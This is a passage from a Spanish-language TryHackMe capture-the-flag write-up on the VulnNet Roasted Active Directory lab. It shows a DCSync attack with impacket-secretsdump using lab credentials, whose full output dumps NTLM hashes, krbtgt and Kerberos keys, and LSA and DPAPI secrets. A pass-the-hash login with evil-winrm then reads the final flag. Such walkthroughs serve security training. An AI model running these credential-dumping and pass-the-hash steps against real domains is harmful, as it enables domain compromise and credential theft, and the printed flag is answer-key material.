Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
VULNNET-RST\Domain Admins Group S-1-5-21-1589833671-435344116-4136949213-512 Mandatory group, Enabled by default, Enabled group
VULNNET-RST\Denied RODC Password Replication Group Alias S-1-5-21-1589833671-435344116-4136949213-572 Mandatory group, Enabled by default, Enabled group, Local Group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
DCSync con Impacket-secretsdump
El ataque DCSync permite a un atacante simular el comportamiento de un controlador de dominio legítimo. Para ello, se emiten peticiones al Domain Controller utilizando las funciones de replicación de Active Directory, como si el atacante necesitara sincronizarse con el resto del dominio. Estas peticiones acceden a la base de datos NTDS.dit, que contiene información crítica sobre los objetos del dominio, incluyendo los hashes NTLM de todas las cuentas: usuarios, administradores, y servicios. Al realizar esta solicitud desde una cuenta con los privilegios adecuados, el controlador de dominio responde con los datos de replicación, sin necesidad de comprometer el servidor físico ni ejecutar código malicioso sobre él.
┌──(root㉿kali)-[/home/kali/Documents/THM/VULNETROASTED]
└─# impacket-secretsdump vulnnet-rst.local/a-whitehat:bNdKVkjv3RR9ht@10.10.118.220
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xf10a2788aef5f622149a41b2c745f49a
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c2597747aa5e43022a3a3049a3c3b09d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
VULNNET-RST\WIN-2BO8M1OE1M1$:aes256-cts-hmac-sha1-96:81c71847ef79e4fca5415335c1691f050dc15d0f9421ad73b4d712d57d2852c1
VULNNET-RST\WIN-2BO8M1OE1M1$:aes128-cts-hmac-sha1-96:29e20fd399907812ee3cd864d9954749
VULNNET-RST\WIN-2BO8M1OE1M1$:des-cbc-md5:d9267504c8983854
VULNNET-RST\WIN-2BO8M1OE1M1$:plain_password_hex:4378192dd98a0ff369a864c2c429d5e57342e967f7f37549254756051f6e70c0fc1067f216bbdbf05d8d29fc37137346e44bc7a46c940b53acc8fde1210b662182ac2b233e95f13fa4a9b448bd5b1cd94429ec9f975b6e2e2e5ddcffe3ecd79916b434a9beff0d00a0b25ad8e9e676ded31b519777d003bbd8cdc5187b58ae4b7127aa0ba6889c2ff4a8b21ddf37218154797576451050a93b57065d6533387de1e73832eccccd06b4f120992ea055c96e72aa8abb00305d433c08e82be1a332302d18e07548e6b00f4713649422aedcd75adede3ac6348f67f3c9f3c04447d0186be79df47af5ad4eb2f59c96ce325f
VULNNET-RST\WIN-2BO8M1OE1M1$:aad3b435b51404eeaad3b435b51404ee:2ba42587fba75fdf87038d81a6554040:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x20809b3917494a0d3d5de6d6680c00dd718b1419
dpapi_userkey:0xbf8cce326ad7bdbb9bbd717c970b7400696d3855
[*] NL$KM
0000 F3 F6 6B 8D 1E 2A F4 8E 85 F6 7A 46 D1 25 A0 D3 ..k..*....zF.%..
0010 EA F4 90 7D 2D CB A5 8C 88 C5 68 4C 1E D3 67 3B ...}-.....hL..g;
0020 DB 31 D9 91 C9 BB 6A 57 EA 18 2C 90 D3 06 F8 31 .1....jW..,....1
0030 7C 8C 31 96 5E 53 5B 85 60 B4 D5 6B 47 61 85 4A |.1.^S[.`..kGa.J
NL$KM:f3f66b8d1e2af48e85f67a46d125a0d3eaf4907d2dcba58c88c5684c1ed3673bdb31d991c9bb6a57ea182c90d306f8317c8c31965e535b8560b4d56b4761854a
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c2597747aa5e43022a3a3049a3c3b09d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7633f01273fc92450b429d6067d1ca32:::
vulnnet-rst.local\enterprise-core-vn:1104:aad3b435b51404eeaad3b435b51404ee:8752ed9e26e6823754dce673de76ddaf:::
vulnnet-rst.local\a-whitehat:1105:aad3b435b51404eeaad3b435b51404ee:1bd408897141aa076d62e9bfc1a5956b:::
vulnnet-rst.local\t-skid:1109:aad3b435b51404eeaad3b435b51404ee:49840e8a32937578f8c55fdca55ac60b:::
vulnnet-rst.local\j-goldenhand:1110:aad3b435b51404eeaad3b435b51404ee:1b1565ec2b57b756b912b5dc36bc272a:::
vulnnet-rst.local\j-leet:1111:aad3b435b51404eeaad3b435b51404ee:605e5542d42ea181adeca1471027e022:::
WIN-2BO8M1OE1M1$:1000:aad3b435b51404eeaad3b435b51404ee:2ba42587fba75fdf87038d81a6554040:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:7f9adcf2cb65ebb5babde6ec63e0c8165a982195415d81376d1f4ae45072ab83
Administrator:aes128-cts-hmac-sha1-96:d9d0cc6b879ca5b7cfa7633ffc81b849
Administrator:des-cbc-md5:52d325cb2acd8fc1
krbtgt:aes256-cts-hmac-sha1-96:a27160e8a53b1b151fa34f45524a07eb9899ebdf0051b20d677f0c3b518885bd
krbtgt:aes128-cts-hmac-sha1-96:75c22aac8f2b729a3a5acacec729e353
krbtgt:des-cbc-md5:1357f2e9d3bc0bd3
vulnnet-rst.local\enterprise-core-vn:aes256-cts-hmac-sha1-96:9da9e2e1e8b5093fb17b9a4492653ceab4d57a451bd41de36b7f6e06e91e98f3
vulnnet-rst.local\enterprise-core-vn:aes128-cts-hmac-sha1-96:47ca3e5209bc0a75b5622d20c4c81d46
vulnnet-rst.local\enterprise-core-vn:des-cbc-md5:200e0102ce868016
vulnnet-rst.local\a-whitehat:aes256-cts-hmac-sha1-96:f0858a267acc0a7170e8ee9a57168a0e1439dc0faf6bc0858a57687a504e4e4c
vulnnet-rst.local\a-whitehat:aes128-cts-hmac-sha1-96:3fafd145cdf36acaf1c0e3ca1d1c5c8d
vulnnet-rst.local\a-whitehat:des-cbc-md5:028032c2a8043ddf
vulnnet-rst.local\t-skid:aes256-cts-hmac-sha1-96:a7d2006d21285baee8e46454649f3bd4a1790c7f4be7dd0ce72360dc6c962032
vulnnet-rst.local\t-skid:aes128-cts-hmac-sha1-96:8bdfe91cca8b16d1b3b3fb6c02565d16
vulnnet-rst.local\t-skid:des-cbc-md5:25c2739dcb646bfd
vulnnet-rst.local\j-goldenhand:aes256-cts-hmac-sha1-96:fc08aeb44404f23ff98ebc3aba97242155060928425ec583a7f128a218e4c5ad
vulnnet-rst.local\j-goldenhand:aes128-cts-hmac-sha1-96:7d218a77c73d2ea643779ac9b125230a
vulnnet-rst.local\j-goldenhand:des-cbc-md5:c4e65d49feb63180
vulnnet-rst.local\j-leet:aes256-cts-hmac-sha1-96:1327c55f2fa5e4855d990962d24986b63921bd8a10c02e862653a0ac44319c62
vulnnet-rst.local\j-leet:aes128-cts-hmac-sha1-96:f5d92fe6dc0f8e823f229fab824c1aa9
vulnnet-rst.local\j-leet:des-cbc-md5:0815580254a49854
WIN-2BO8M1OE1M1$:aes256-cts-hmac-sha1-96:81c71847ef79e4fca5415335c1691f050dc15d0f9421ad73b4d712d57d2852c1
WIN-2BO8M1OE1M1$:aes128-cts-hmac-sha1-96:29e20fd399907812ee3cd864d9954749
WIN-2BO8M1OE1M1$:des-cbc-md5:01760e6d1034f273
[*] Cleaning up...
[*] Stopping service RemoteRegistry
[-] SCMR SessionError: code: 0x41b - ERROR_DEPENDENT_SERVICES_RUNNING - A stop control has been sent to a service that other running services are dependent on.
[*] Cleaning up...
[*] Stopping service RemoteRegistry
Pass the hash con EvilWinRM
Una vez que tenemos el hash del usuario Administrator
podemos usarlo para conectarnos con EvilWinRM y leer la última flag
┌──(root㉿kali)-[/home/kali/Documents/THM/VULNETROASTED]
└─# evil-winrm -u Administrator -H c2597747aa5e43022a3a3049a3c3b09d -i 10.10.118.220
Evil-WinRM shell v3.7
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> Get-ChildItem -Path C:\ -Filter system.txt -Recurse -ErrorAction SilentlyContinue -Force
Directory: C:\Documents and Settings\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/13/2021 3:34 PM 39 system.txt
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/13/2021 3:34 PM 39 system.txt
*Evil-WinRM* PS C:\Users\Administrator\Documents> Get-Content "C:\Users\Administrator\Desktop\system.txt"
THM{16f45e3934293a57645f8d7bf71d8d4c}
Last updated